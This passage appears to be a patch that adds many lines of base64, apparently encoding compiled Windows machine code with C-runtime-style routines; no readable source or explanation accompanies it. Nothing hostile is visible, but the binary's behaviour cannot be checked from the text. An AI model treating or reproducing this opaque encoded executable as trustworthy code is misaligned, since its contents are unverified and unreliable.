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 